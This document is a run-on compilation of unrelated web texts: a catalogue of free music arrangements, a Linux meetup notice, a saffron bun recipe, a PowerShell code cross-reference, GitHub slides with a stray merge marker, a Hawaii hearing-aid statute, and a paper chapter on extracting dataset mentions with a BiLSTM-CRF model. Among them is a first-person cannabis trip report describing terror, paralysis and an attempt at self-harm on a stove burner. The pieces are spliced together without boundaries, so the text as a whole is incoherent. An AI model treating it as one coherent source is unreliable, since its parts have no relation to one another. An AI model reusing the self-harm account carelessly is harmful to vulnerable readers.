Draw On Sweet Night, by John Wilbye, from the Second Set of Madrigals, 1609, arranged for Flute choir, namely five Flutes and one Alto Flute.
This particularly sonorous piece is one of the most beautiful achievements of one of the finest of the English madrigalists.
The score and parts are freely available for A4 printers, or for US printers, and in its Muscript source
Daily Exercises for Recorder, 1995.
Just three pages of scales and arpeggios, which will improve the fluency of any recorder player. Now includes the extra page devoted to the minor arpeggios, and versions for the Alto recorder, Bass recorder and New ! for the Great-Bass recorder.
The score is freely available:
for C recorder
for A4 printers,
or for US printers,
and in its Muscript source
and
for F recorder
for A4 printers,
or for US printers,
and in its Muscript source
and
for Bass recorder
for A4 printers,
or for US printers,
and in its Muscript source
and for Great-Bass recorder
for A4 printers,
or for US printers,
and in its Muscript source
New ! Famous Beginnings, 2014.
This is a collection of the beginnings of some famous pieces, arranged for piano. It's really instructive to read one of these pieces, and then listen to a recording of the original...
Included are some famous fugue-themes by J.S. Bach BWV846, BWV869, BWV538, BWV542, BWV1080, and BWV1079, Mozart's Jupiter Symphony and Die Zauberflöte, Beethoven's Fifth and Sixth Symphonies, two movements from Schubert's Tod und das Mädchen string quartet, Wagner's Tristan and Isolde and Die Meistersinger von Nürnberg, Brahms' Deutsches Requiem and Fourth Symphony, Debussy's Prélude à l'après-midi d'un faune, four pieces from Schoenberg's Pierrot Lunaire, Bela Bartok's Bluebeards Castle, Stravinsky's The Rite of Spring, Gustav Holst's Mars from The Planets, Alban Berg's Wozzeck and the Violinkonzert, and Richard Strauss' Metamorphosen.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Easy Pieces for Bb Trumpet and Piano, 2004.
These well-known pieces should be useful to players and teachers of the Bb trumpet. They are tuneful, memorable and free from copyright. They include All Through the Night, three Bach Chorales, Bacarolle, Golliwog's Cake-Walk, Humoreske, Theme from Jupiter, Liebestraum, Melody in F, Theme from the Variations on a Theme of Haydn, Trumpet Voluntary, La Volta, the William Tell Overture and others. Also included are some scale and arpeggio exercises, so that the more remote keys are not neglected. The highest note demanded is the g at the top of the clef.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Twelve Italian Songs arranged for voice and guitar, 1979.
Includes Amarilli (Giulio Caccini), Ruscelletto Limpidetto (Tomaso Albinoni), Come Raggio di Sol (Antonio Caldara), Vittoria, Vittoria (Giacomo Carissimi), Caro mio ben (Tommaso Giordani), Pupille Arciere (Giovanbatista da Gagliano), Pur Dicesti (Antonio Lotti), Vezzosa Aurora (Alessandro Melani), Nina (Pergolese), Lamento d'Arianna (Claudio Monteverdi), O Biondetta Lascivetta (Martino Pesenti) and Così, Amor, me fai languir (Alessandro Stradella).
There is an old recording of myself and Franz Anderegg perfoming Pupille Arciere in 1978.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Seven English Songs arranged for voice and guitar, 1979.
Includes When Laura smiles (Philip Rosseter), What then is love but mourning (Philip Rosseter), Full fathom five (Robert Johnson), I saw my lady weep (John Dowland), Come again (John Dowland), Come away come sweet love (John Dowland) and Wilt thou unkind thus reave me (John Dowland).
There is an old recording of myself and Franz Anderegg perfoming Come away come sweet love in 1978.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Volkslieder arranged for voice and piano, 2012.
A practical collection of ten folk songs from Germany and Switzerland, with tune, words, and fairly easy piano accompaniments. Six of the arrangements are by Peter Billam, four by Johannes Brahms. Included are from Switzerland: Dursli und Babeli, 's Mädeli im Siebethal, Luegid vo Bärg und Tal; then with arrangements by Johannes Brahms from "28 Deutsche Volkslieder": Altes Minnelied, Schnitter Tod, and from "14 Volks-Kinderlieder" (which he wrote for Robert and Clara Schuman's children): Heidenröslein, Dornröschen; and then Es geht eine dunkle Wolk herein, Die Gedanken sind frei, Muss i' denn.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
New ! Fingerstyle Guitar Solos, 2017.
These are some transcriptions from the playing of
Davey Graham,
Stefan Grossman,
Bert Jansch and
John Renbourn,
plus some original pieces.
Included are
Angi and
Blue Monk from Davey Graham's first album,
Cry Me a River as played by Davey Graham in 1959;
Matesa, Powder Rag and Lena Anne
from Stefan Grossman's 1972 live album,
Alice's Wonderland, Veronica and Smokey River
from Bert Jansch's first album, and
The Wheel from his second,
and
New !
Plainsong from John Renbourn's first album, and
Day at the Seaside from his second,
and lastly
Whisper Not by Benny Golson and
The Entertainer by Scott Joplin arranged by Peter Billam, and
The London Rag written by Peter Billam.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Bushband music for Violin, Piano accordion and Tenor banjo, 1990.
These were the arrangements I made around 1990 for the acoustic
Australian Bushband that I never quite found the other members of.

Included are Polkas
(Heel and Toe Polka, Davvy Davvy Knick Knack,
The Glen Cottage Polkas, Spanish Ladies and The Waves of Tory),
Jigs
(The Rambling Pitchfork, The Blackthorn Stick, Whelan's Jig, O'Keefe's
Jig, Scully's Jig, Lannigan's and Father O'Flynn (or: Top of Cork Road)),
Waltzes
(Planxty Irwin, Give Me Your Hand and the First Waltz from The Vienna
Woods by Johann Strauss) and
Reels
(The Lady on the Island, Lucky in Love, Last Night's Fun and Drowsy
Maggie).
Synthesiser-performances of the polkas, of the jigs, of the waltzes and of the reels are available in MP3 format.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Fourteen Folk Dances with guitar accompaniment, 2001.
These dance tunes are from the Australian tradition, which is very strongly based in its Irish roots. The tunes can be played on descant recorder, or on tin whistle, violin, or concertina. The accompaniment is for guitar, and the guitar parts are not difficult.
There are four polkas: Davvy Davvy Knick Knack, Spanish Ladies, I'll tell me Ma and The Glen Cottage Polkas; two hornpipes Castlekelly and Cronin's Hornpipe; two jigs: Lannigan's and The Rambling Pitchfork; two mazurkas: The Munster Cloak and Sonny's Mazurka; a reel The Old Grey Gander and an old Scottish tune, Over the Sea to Skye; a set dance The Humours of Bandon and the old English tune Greensleeves.
The score is freely available for A4 printers, or for US printers, and in its Muscript source
Arrangements for Guitar, 1986.
Included are: What then is Love but Mourning by Philip Rosseter, arranged for voice and 2 guitars; Nobody's Fault but Mine arranged for 2 guitars; How Beautiful are the Feet by G. F. Händel, arranged for voice, tenor recorder or flute, and guitar. Again, the guitar parts are not difficult.
The score is freely available
for A4 printers,
or for US printers,
or in its Muscript source.
Also available is a synthesiser-generated
mp3 recording.
Peter Billam's output of arrangements and educational material also includes the following pieces which are not yet in print. Let us know if you are keen to see one of these become available:
Schubert Songs on texts by Goethe Three arrangements of songs on poems by Goethe are still out of print ... Wandrers Nachtlied (Der du von der Himmel bist) (Goethe), Erster Verlust (Goethe), Gesang des Harfners (Wer sich der Einsamkeit ergibt) (Goethe).
Arrangements for Choir: Bound for South Australia, Ding Dong Merrily on High, I Heard it on the Grapevine (Gaye), Go Down Moses, (SATB); Lullaby (Brahms), The Ash Grove (SABar); Swim Sam Swim (Lee/Weston), Drink to Me Only (ATB); Deck the Hall (SA); Nobody Knows You when You're Down and Out (Bar solo, SAB); Breaking Up is Hard to Do (Sedaka, SSATTBarB).
Transcriptions for Choir: The Foxhunt (TBarB, from the singing of the Young Tradition); The Hunt is Up (4v), Bartholemew Fair (SATB, from the singing of Regal Slip); O Vos Omnes (Pablo Casals, SATTBB).
Arrangements for Recorder Group: Tarleton's Jig (John Dowland), Vor Deinen Thron (J. S. Bach), O'Keefe's Jig, Three Polkas, (SATB); O'Carolan's Concerto (O'Carolan, SAT (or piccolo, 2 flutes)), The Bell Table (SST).
Scales and Arpeggios: Singing, Violin, Woodwind, Recorder.
Back to www.pjb.com.au or to www.pjb.com.au/mus . . .


[% WRAPPER layout title = "Linux Bier Wanderung 2014, Talybont-on-Usk" lang = "en" cover = 1 this = "index.html" %]
The LBW is a week-long event for Open Source software enthusiasts. We come from more than a dozen different countries, for a combination of talks, hands-on projects, outdoor exercise, and good food and drink. Read more…
If you're interested in coming, or are coming, please let us know. Full details here.
This year we are visiting the beautiful village of Talybont-on-Usk in Wales, The United Kingdom. You will want to arrange travel and book accomodation.
T-shirts are now available! The order deadline is not yet confirmed so please order now.


This is a Bouncy Box example!
BouncyBox
v1.1
By
WisdomSky
Click
HERE
to see the bounce!
Download:
bouncybox.zip
Visit BouncyBox at
Github
!


Preparation time
over 2 hours
Cooking time
10 to 30 mins
Serves
Serves 12
Dietary
These saffron-infused, raisin-studded buns actually hail from Sweden and make a delicious festive snack at Christmas.
Heat the milk in a small saucepan over a low heat until gently steaming. Remove the pan from the heat, add the saffron threads and butter and set aside for 10 minutes, or until the saffron has infused the milk and the milk has cooled slightly.
Tip the flour into a large mixing bowl, then add the salt to one side of the bowl and the yeast to the other. Add the sugar.
Strain the saffron-infused milk over the bowl of flour, then add the quark. Stir the mixture using your fingers until it comes together as a soft dough and the sides of the bowl are clean.
Turn out the dough onto a lightly floured work surface and knead for 5-6 minutes, or until the dough is no longer sticky and has a smooth, silky exterior. Transfer the dough to a lightly oiled bowl, cover the bowl with cling film and set aside in a warm place for 1½-2 hours, or until the dough has doubled in size.
Brush two baking sheets with vegetable oil or dust with flour.
When the dough has proved, knock it back, then divide into 12 equally-sized pieces. Roll the pieces of dough into 30cm/12in-long sausage shapes.
Bend four of the pieces of dough into S-shapes, coiling each end of the S-shape tightly like a scroll. Place onto one of the prepared baking trays.
Shape another four pieces of dough into S-shapes, but this time just tuck the ends of the S-shapes back on themselves rather than coiling them tightly. Place two of the S-shapes on one of the prepared baking trays, and place the other two on top of them to create cross shapes.
The remaining pieces of dough can be shaped into traditional animal shapes including oxen, cats and birds - alternatively, bend them into S-shapes as before.
Cover the dough shapes loosely with cling film and set aside to prove again for 30-45 minutes, or until they have doubled in size.
Preheat the oven to 200C/180C Fan/Gas 6.
Brush the dough shapes all over with a little of the beaten egg yolk, then garnish each shape with two raisins (for the S-shaped buns, place the raisins in the centre of each coil of dough).
Bake the buns in the oven for 12-15 minutes, or until lightly golden-brown and cooked through. Set aside to cool on a wire rack.


2 writes to s_encryptionRecipients
System.Management.Automation (2)
engine\runtime\CompiledScriptBlock.cs (2)
1692
s_encryptionRecipients
= new CmsMessageRecipient[] { recipient };
1746
s_encryptionRecipients
= null;
3 references to s_encryptionRecipients
System.Management.Automation (3)
engine\runtime\CompiledScriptBlock.cs (3)
1489
if (
s_encryptionRecipients
!= null)
1498
s_encryptionRecipients
,
1648
if (
s_encryptionRecipients
!= null)


Github Blog Posts
2 posts, page 1 of 1
-
Porting my blog with Hugo
Dec 30, 2014I’ve just ported my Wordpress blog to Github Pages using Hugo.
-
Publishing a project website to Github Pages
Dec 14, 2014I recently was faced with moving the website of one of my Github hosted projects from its current non-Github location to Github Pages.


These are mostly for personal consumption.
I generate certain sequences in a pattern and try to guess them. The solution
is available in a file. I can keep on generating these and keep on testing
myself. Have a try.
Various alankars:
Bhup alaps
Bhup alaps (modified: dha replaced with komal dha)


GitHub is a very popular sitefor sharing and collaborating onopen source code and content.
Facebook : Pictures :: GitHub : Code
LinkedIn : Resumes :: GitHub : Code
Twitter : Short Updates :: GitHub : Code
To understand GitHub, it helps to understand git.
Git is open source version control software.
GitHub is a pretty user interface and social website that uses git.
Notice the diff
It is social
Profile pages
Profile pages
Profile pages
Organization pages
Repos
Repo
Repo
Repo
Repo
Watch a repo
Watch a repo
Star a repo
It is social
Fork a repo
A forked repo
Pull requests
Issue & bug tracking
Commits
Commits
Profile pages
Commits
Create an account! github.com
All the gov repos
Twitter: @NewGovRepos
government.github.com
GitHub's gov liaison @BenBalter
Ben's blog
Project Open Data
Me on GitHub: @LeahBannon
>>>>>>> master


| DOSE: |
2 hits |
smoked |
Cannabis |
(plant material) |
I'm sitting here weeping because I've had yet another flash back while trying to fall asleep. I've been awake for almost 24 hours because this has happened twice since I've tried to sleep.
I've been putting off writing this for a very long time, because it's not a place I ever want to go to again. I've smoked weed many a time before. I know what weed feels like. Despite what he insists, I can't settle for 'It was just weed.'  I've read somewhat similar stories to what my experience was like. Two people smoking weed, but one has a horrible reaction--the other is fine. But I have yet to read anything that describes what I felt. Not in the least.
I'd suppose starting from the beginning would be appropriate. This happened back in April, maybe. Sounds accurate. I had this huge crush on this guy named Daniel.  He came over, we decided to take a walk. He brought weed, I thought, 'Great!'. I took two hits, he took two hits. We sit on a tree stump and talk. I start to notice my vision is turning hawkeyed. I look at Daniel and he's huge. I examine the pores on his nose from a distance. Can I do that normally? I can't remember. I notice the trees blend together like 2 dimentional drawings. Something's not right. I sneeze. It must have triggered something, because right then my vision turned into a horrifying slideshow. Like watching a movie reel. I keep my cool. After all, I like this guy. Don't want to look like I'm freaking out.
But I am. While he's talking away, I'm noticing something terribly wrong inside. I have to get to my room. I know I'll be safe there, then I can just let this blow over, no problem. I ask to walk back to my house, and we start walking. After about 100 yards, all the optomism I had caved in as everything was moving...so....slow. Yes, that's common with smoking weed, but not THIS slow. I start to feel very odd very quickly.
'Daniel....I don't feel....right.' Were the only words I could use to describe what I was feeling at the time.
'What?'
At that moment, I pass out. But not completely. My sense of touch is almost gone, my sight is completely gone, but my hearing is SHARP! As I fall to the pavement, I feel like I'm floating and gently coming to rest. Sounds somewhat lovely, doesn't it? No, that's just the beginning. I'm in terror on the inside because I'm completely paralized. I hear Daniel calling to me. No responce. He calls 911. After he hangs up, I SNAP awake and I'm on my feet in seconds. I'm trying to tell Daniel that something is WRONG, something's going horribly wrong!
This is so difficult. As I write, I cry, and I smoke, trying to describe what I felt to the best of my ability, while still trying to repress any memory of the physical and mental torture I went through.  Dante's Inferno had nothing on what this felt like. Things took a total turn around. Things started going terrifyingly fast. My skin felt like it was on fire, all over my body I was being continuously hit by lightning bolts. Horrible, violent pain. Then I did what the native americans would call 'shapeshifting'.
I started to faint again. But instead of gental floating, my body twisted and curled to the ground, a fall that lasted days, hours, months? Well, I never stopped falling. Never stopped twisting and contorting. Then the twisting turned to pulling. And pulling....and stretching.......until my entire being--My spiritual energy, my physical energy, my emotional energy--was pulled into a single, violently painful, line of atoms--A horizon. I'm still falling. I'm still twisting. Still being shocked. Will this ever end? Next, I change into a stream of colored flashing lights--Stars (Keep in mind, this was not a pleasant experience.  There was no time for 'Ooooh, look at the pretty lights'). Next thing I know, I'm looking down at my body. Daniel is kneeling over me and I'm screaming at the top of my lungs for what seemed like hours. Then I'm in my body again. And it's my body. No stars, no horizon.
The movie reel is back, but the fire on my skin is gone (for the moment). I'm telling Daniel I have to get back to my room, because at the time, I thought if I was in my room, nothing could get me. No matter what I was going through, I'd come out of it and be safe in my bed. But was I ever going to come out of this? I'm never going to. I'm going to be like this forever.
As I talk to Daniel, he disappears. No, this can't be happening. But it was. ROOM! NOW! Just get there and I'll be fine! We walk towards my place, and half way there, I'm lost. I can't find Daniel. He ditches me (he was there, I just couldn't see him). I run. I run home because I'm never going to come out of this, so the only thing left to do is kill myself. I finally get to my house burst through the door, run halfway up the stairs when my parents stop me. I panic, and try to tell them but my words don't come. I start to faint again. The floating faint. My parents are panicked. I can hear every word the say, but I'm paralized again. Oh no, the fire is back. I start to twist again, while staying perfectly still. I'm able to vocalize now, so I scream. I scream for all I was worth because it hurt so badly. The father tries to calm me, while the mother is enraged, but under the rage--I knew even then, when reality was churning--was fear.
I'm up again. This time I'm back with a vengance. I'm not going to 'fall and twist' again without a fight.  I rush for the stove. Not to put my head in the oven, but to put my head onto the burner. I'm still unsettled by the thought of what might have happened, had my parents not been there to stop me.
'No you won't!  My mother said. I now laugh, because she must have said something right, because I started to settle down. Somewhat. Instead of terror and having an urgency to end it all, I cried and felt feelings of repentance that I've never felt before. This deep longing sorrow that I'd ever been born. Hugging the father and crying, offering my sorries.
 Daniel was there. I could see him. More sorrow and humilition. 'It was only weed'. Daniel was fine. How is that possible? Could this be an allergic reation to THC? But I've smoked weed before, tons of times. Could he have slipped me something, even without his knowledge? But he called 911, and HE smoked the same amount. What if he was just not effected, or what if he was used to whatever was in there?  Powdered mescaline is often associated with out-of-body experiences and shapeshifting. And I've heard PCP gives the fire on the skin feeling.
So, now I'm left with so many unanswered questions, and more horrifyingly, flashbacks. But it wasn't until tonight, that I remembered the worst part of the whole ordeal: twisting while being on fire. I must have repressed it or something. But every now and then, right when I'm about to fall asleep, I start to twist and burn. Dear god, how long will this last? Will it ever stop? This only started happening recently too. I started to get the 'shock' feeling about a week or so ago. I'm so afraid to go to sleep, and I'm so ashamed that I did this to myself. Could I have caused irreprible damage to my psyche? Or are these ordinary flashbacks associated with Acid and other psychoactives?
Well...I'm done. Got it off my chest.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Forget about electricity. Forget about indoor plumbing. Your family, friends, that neighbor you always hated but now miss. The Dark Menance has taken all of that away.
But hope still remains. You recieve word that there is a resistance movement in Vermont. At first, you take it as a rumor. One of those stories that survivors make up to survive in this world.


{% extends 'blog/base.html' %} {% block content %}
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PerSemID View University MSc
This is the view for the university MSc. It offers functionality for opening and inspecting the dossier prepared by the student for the application to master studies. Based on the dossier (and possibly information from other sources), the university MSc will decide to either accept or deny the student for the enrollment. This decision is then recorded and the student granted permissions to retrieve it.
A zipped export of the decision is accessible at /hmsc/export/ for authorized users.
Personal Data Student
Data University BSc
Documents
| File |
|---|


| Image | File Name | Distance |
|---|
Select up to 4 local images to use:
Use your webcam to take an input picture
LIVE Webcam
Captured Image
Select sample images
Click an image to see model examples
Thumbnails:
| Image | File Name | Distance |
|---|
Select up to 4 local images to use:
Use your webcam to take an input picture
Select sample images
Click an image to see model examples
Thumbnails:


§451A-14 Prohibited acts and practices. No person shall:
(1) Sell, barter, offer to sell, barter, or transfer or assign a license;
(2) Purchase or procure by barter a license with intent to use it as evidence of qualification to practice the fitting and selling of hearing aids;
(3) Alter a license with fraudulent intent;
(4) Use or attempt to use a license which is invalid because it was purchased, fraudulently obtained, forged, or materially altered;
(5) Make a false statement in an application for a license or in an application for renewal of a license; and
(6) Sell hearing aids through "door-to-door sales" as defined in section 481C-1. [L 1969, c 205, pt of §1; am L 1974, c 167, §2; am L 1989, c 246, §1; am L 1997, c 88, §10]


Chapter 11 - Finding datasets in publications: The University of Syracuse approach¶
author:
Tong Zeng$^{1,2}$ and Daniel Acuna$^{1}$[^1] bibliography:
‘rcc-06.bib’ subtitle: | Dataset mention extraction in scientific articles using a BiLSTM-CRF model title: ‘Finding datasets in publications: The Syracuse University approach’
$^{1}$School of Information Studies, Syracuse University, Syracuse, USA\ $^{2}$School of Information Management, Nanjing University, Nanjing, China
Abstract¶
Datasets are critical for scientific research, playing a role in replication, reproducibility, and efficiency. Researchers have recently shown that datasets are becoming more important for science to function properly, even serving as artifacts of study themselves. However, citing datasets is not a common or standard practice in spite of recent efforts by data repositories and funding agencies. This greatly affects our ability to track their usage and importance. A potential solution to this problem is to automatically extract dataset mentions from scientific articles. In this work, we propose to achieve such extraction by using a neural network based on a BiLSTM-CRF architecture. Our method achieves $F_{1}=0.885$ in social science articles released as part of the Rich Context Dataset. We discuss future improvements to the model and applications beyond social sciences.
Introduction¶
Science is fundamentally an incremental discipline that depends on previous scientist’s work. Datasets form an integral part of this process and therefore should be shared and cited as any other scientific output. This ideal is far from reality: the credit that datasets currently receive does not correspond to their actual usage[@datarank]. One of the issues is that there is no standard for citing datasets, and even if they are cited, they are not properly tracked by major scientific indices. Interestingly, while datasets are still used and mentioned in articles, we lack methods to extract such mentions and properly reconstruct dataset citations. The Rich Context Competition challenge aims at closing this gap by inviting scientists to produce automated dataset mention and linkage detection algorithms. In this article, we detail our proposal to solve the dataset mention step. Our approach attempts to provide a first approximation to better give credit and keep track of datasets and their usage.
The problem of dataset extraction has been explored before. @ghavimiIdentifyingImprovingDataset2016 and @ghavimiSemiautomaticApproachDetecting2017 use a relatively simple tf-idf representation with cosine similarity for matching dataset identification in social science articles. Their method consists of four major steps: preparing a curated dictionary of typical mention phrases, detecting dataset references, and ranking matching datasets based on cosine similarity of tf-idf representations. This approach achieved a relatively high performance, with $F_{1}=0.84$ for mention detection and $F_{1}=0.83$, for matching. @singhalDataExtractMining2013 proposed a method using normalized Google distance to screen whether a term is in a dataset. However, this method relies on external services and is not computational efficient. They achieve a good $F_{1}=0.85$ using Google search and $F_{1}=0.75$ using Bing. A somewhat similar project was proposed by @luDatasetSearchEngine2012. They built a dataset search engine by solving the two challenges: identification of the dataset and association to a URL. They build a dataset of 1000 documents with their URLs, containing 8922 words or abbreviations representing datasets. They also build a web-based interface. This shows the importance of dataset mention extraction and how several groups have tried to tackle the problem.
In this article, we describe a method for extracting dataset mentions based on a deep recurrent neural network. In particular, we used a Bidirectional Long short-term Memory (BiLSTM) sequence to sequence model paired with a Conditional Random Field (CRF) inference mechanism. The architecture is similar to chapter 6, but we only focus on the detection of dataset mentions. We tested our model on a novel dataset produced for the Rich Context Competition challenge. We achieve a relatively good performance of $F_{1}=0.885$. We discuss the limitations of our model.
The dataset¶
The Rich Context Dataset challenge was proposed by the New York University’s Coleridge Initiative [@richtextcompetition]. The challenge comprised several phases, and participants moved through the phases depending on their performance. We only analyze data of the first phase. This phase contained a list of datasets and a labeled corpus of around 5K publications. Each publication was labeled indicating whether a dataset was mentioned within it and which part of the text mentioned it. The challenge used the accuracy for measuring the performance of the competitors and also the quality of the code, documentation, and efficiency.
We adopt the CoNLL 2003 format [@tjong2003introduction] to annotate whether a token is a part of dataset mention. Concretely, we use the tag DS denotes a dataset mention; The B- prefix indicates that the token is the beginning of a dataset mention, the I- prefix indicates the token is inside of dataset mention, and O denotes a token that is not a part of dataset mention. We put each token and its tag (separated by horizontal tab control character) in one line, and use the end of line (\n) control character as separator between sentences (see Table 2.1). The dataset were randomly split by 70%, 15%, 15% for training set, validation set and testing set, respectively.
Table 2.1. Example of a sentence annotated by IOB tagging format.
| Token | Annotation | |———-|———–| | This | O | | … | … | | data | O | | from | O | | the | O | | Monitoring | B-DS | | the | I-DS | | Future | I-DS | | ( | O | | MTF | B-DS | | ) | O | | \n | |
The Proposed Method¶
Overall view of the architecture¶
In this section, we propose a model for detecting mentions based on a BiLSTM-CRF architecture. At a high level, the model uses a sequence-to-sequence recurrent neural network that produces the probability of whether a token belongs to a dataset mention. The CRF layer takes those probabilities and estimates the most likely sequence based on constrains between label transitions (e.g., mention–to–no-mention–to-mention has low probability). While this is a standard architecture for modeling sequence labeling, the application to our particular dataset and problem is new.
We now describe in more detail the choices of word representation, hyper-parameters, and training parameters. A schematic view of the model is in Figure 3.1 and the components are as follows:
Character encoder layer: treat a token as a sequence of characters and encode the characters by using a bidirectional LSTM to get a vector representation.
Word embedding layer: mapping each token into fixed sized vector representation by using a pre-trained word vector.
BiLSTM layer: make use of Bidirectional LSTM network to capture the high level representation of the whole token sequence input.
Dense layer: project the output of the previous layer to a low dimensional vector representation of the the distribution of labels.
CRF layer: find the most likely sequence of labels.
Figure 3.1. Network Architecture of BiLSTM-CRF network{width=”80%”}
Figure 3.1. Network Architecture of BiLSTM-CRF network
Character encoder¶
Similar to the bag of words assumption, a word could be composed of characters sampled from a bag of characters. Previous research [@santos2014learning; @jozefowicz2016exploring] has shown that the use of character-level embedding could benefit multiple NLP-related tasks. In order to use character-level information, we break down a word into a sequence of characters, then build a vocabulary of characters. We initialize the character embedding weights using the vocabulary size of a pre-defined embedding dimension, then update the weights during the training process to get the fixed-size character embedding. Next, we feed a sequence of the character embedding into an encoder (a bidirectional LSTM network) to produce a vector representation of a word. By using a character encoder, we can solve the out-of-vocabulary problem for pre-trained word embedding, as every word could be composed of characters.
Word Embedding¶
The word embedding layer is responsible for storing and retrieving the vector representation of words. Concretely, the word embedding layer contains a word embedding matrix $M^{tkn}\in\mathbb{R}^{|V|d}$, where the $V$ is the vocabulary of the tokens and the $d$ is the size of the embedding vector. The embedding matrix was initialized by a pre-trained GloVe vectors [@pennington2014glove], and updated by learning from the data. In order to retrieve from the embedding matrix, we first convert a given sentence into a sequence of tokens, then for each token we lookup the embedding matrix to get its vector representation. Finally, we get a sequence of vectors as input for the encoder layer.
LSTM¶
The Recurrent Neural Network (RNN) is a type of artificial neural network which takes the output of previous step as input of the current step recurrently. This recurrent nature allows it to learn from sequential data, for example, the text which consists of a sequence of works. RNN could capture contextual information in variable-length sequences in theory but it suffers from gradient exploding/vanishing problems [@pascanu2013difficulty]. The Long Short-Term Memory (LSTM) architecture was proposed by @hochreiter1997long to cope with these gradient problems. Similar to standard RNN, the LSTM network also has a repeating module called LSTM cell. The cell remembers information over arbitrary time steps because it allows information to flow along it without change. The cell state is regulated by a forget gate and an input gate which control the proportion of information to forget from a previous time step and to remember for a next time step. Also, there is a output gate controlling the information to flow out of the cell. The LSTM could be defined formally by the following equations:
$$i_{t}=\sigma(W_{i}x_{t}+W_{i}h_{t-1}+b_{i})$$
$$f_{t}=\sigma(W_{f}x_{t}+W_{f}h_{t-1}+b_{f})$$
$$g_{t}=tanh(W_{g}x_{t}+W_{g}h_{t-1}+b_{g})$$
$$o_{t}=\sigma(W_{o}x_{t}+W_{o}h_{t-1}+b_{o})$$
$$c_{t}=f_{t}\bigotimes c_{t-1}+i_{t}\bigotimes g_{t}$$
$$h_{t}=o_{t}\bigotimes tanh(c_{t})$$
where $x_{t}$ is the input at time $t$, $W$ is the weights, $b$ is the bias. The $\sigma$ is the sigmoid function, $\bigotimes$ denotes the dot product, $c_{t}$ is the LSTM cell state at time $t$ and $h_{t}$ is hidden state at time $t$. The $i_{t}$, $f_{t}$, $o_{t}$ and $g_{t}$ are named as input, forget, output and cell gates respectively.
LSTM can learn from the previous steps, which is the left context if we feed the sequence from left to right. However, the information in the right context is also important for some tasks. The bidirectional LSTM [@graves2013speech] satisfies this information need by using two LSTMs. Concretely, one LSTM layer was fed by a forward sequence and the other by a backward sequence. The final hidden states of each LSTM were concatenated to model the left and right contexts
$$h_{t}=[\overrightarrow{h_{t}}\varoplus\overleftarrow{h_{t}}]$$
Finally, the outcomes of the states are taken by a Conditional Random Field (CRF) layer that takes into account the transition nature of the beginning, intermediate, and ends of mentions. For a reference of CRF, refer to [@lafferty2001conditional]
Results¶
In this work, we wanted to propose a model for the Rich Context Competition challenge. We propose a relatively standard architecture based on a BiLSTM-CRF recurrent neural network. We now describe the evaluation metrics, hyper-parameter setting, and the results of this network on the dataset provided by the competition.
For all of our results, we use $F_{1}$ as the measure of performance. This measure is the harmonic average of the precision and recall and it is the standard measure used in sequence labeling tasks. This metric varies from 0 to 1, the higher the better. Our method achieved a relatively high $F_{1}$ of 0.885 for detecting mentions.
Table 4.1. Model search space and best assignments
| Hyper-parameter | Search space | Best parameter | |——————————|————————–|—————-| | number of epochs | 50 | 50 | | patience | 10 | 10 | | batch size | 64 | 64 | | pre-trained word vector size | choice[50, 100, 200,300] | 100 | | encoder hidden size | 300 | 300 | | number of encoder layers | 2 | 2 | | dropout rate | choice[0.0,0.5] | 0.5 | | learning rate optimizer | adam | adam | | l2 regularizer | 0.01 | 0.01 | | learning rate | 0.001 | 0.001 |
We train models using the training data and monitor the performance using the validation data (we stop training if the performance does not improve for the last 10 epochs). We are using the Adam optimizer with learning rate of 0.001 and batch size equal to 64. The hidden size of LSTM for character and word embedding is 80 and 300, respectively. For the regularization methods, and to avoid over-fitting, we use L2 regularization set to 0.01 and we also use dropout rate equal to 0.5. We trained 8 models with a combination of different GloVe vector size (50, 100, 300 and 300) and dropout rate (0.0, 0.5). The hyper-parameter settings are present in Table 4.1.
Table 4.2. Performance of proposed network
| Models | GloVe size | Dropout rate | Precision | Recall | F1 | |——–|————|————–|———–|——–|——-| | m1 | 50 | 0.0 | 0.884 | 0.873 | 0.878 | | m2 | 50 | 0.5 | 0.877 | 0.888 | 0.882 | | m3 | 100 | 0.0 | 0.882 | 0.871 | 0.876 | | m4 | 100 | 0.5 | 0.885 | 0.885 | 0.885 | | m5 | 200 | 0.0 | 0.882 | 0.884 | 0.883 | | m6 | 200 | 0.5 | 0.885 | 0.880 | 0.882 | | m7 | 300 | 0.0 | 0.868 | 0.886 | 0.877 | | m8 | 300 | 0.5 | 0.876 | 0.878 | 0.877 |
The test performances are reported in Table 4.2. The best model is trained by word vector size 100 and dropout rate 0.5 with $F_{1}$ score 0.885 (Table 4.2), and it takes 15 hours 58 minutes for the training on an NVIDIA GTX 1080 Ti GPU in a computer with an Intel Xeon E5-1650v4 3.6 GHz CPU with 128 GB of RAM.
We also found some limitations to the dataset. Firstly, we found that mentions are nested (e.g. HRS, RAND HRS, RAND HRS DATA are linked to the same dataset). The second issue most of the mentions have ambiguous relationships to datasets. In particular, only 17,267 (16.99%) mentions are linked to one dataset, 15,292 (15.04%) mentions are listed to two datasets, and 12,624 (12.42%) are linked to three datasets. If these difficulties are not overcome, then the predictions from the linkage process will be noisy and therefore impossible to tell apart.
Conclusion¶
In this work, we report a high accuracy model for the problem of detecting dataset mentions. Because our method is based on a standard BiLSTM-CRF architecture, we expect that updating our model with recent developments in neural networks would only benefit our results. We also provide some evidence of how difficult we believe the linkage step of the challenge could be if the dataset noise are not lowered.
One of the shortcomings of our approach is that the architecture is lacking some modern features of RNN networks. In particular, recent work has shown that attention mechanisms are important especially when the task requires spatially distant information, such as this one. These benefits could also translate to better linkage. We are exploring new architectures using self-attention and multiple-head attention. We hope to explore these approaches in the near future.
There are number of improvements that we can make in the future. A first improvement is to use non-recurrent neural architectures such as the Transformer which has shown to be faster and a more effective learner compared to recurrent neural networks. Another improvement would be to bootstrap information from other dataset sources such as open access full-text articles from PubMed Open Access Subset. This dataset contains dataset citations [@datarank]—in contrast to the most common types of citations to publications. The location of this citations within the full-text could be exploited to perform entity recognition. While this would be a somewhat different problem than the one solved in this article, it would still be useful for the goal of tracking dataset usage. In sum, by improving the learning techniques and the dataset size and quality, we could significantly increase the success of finding datasets in publications.
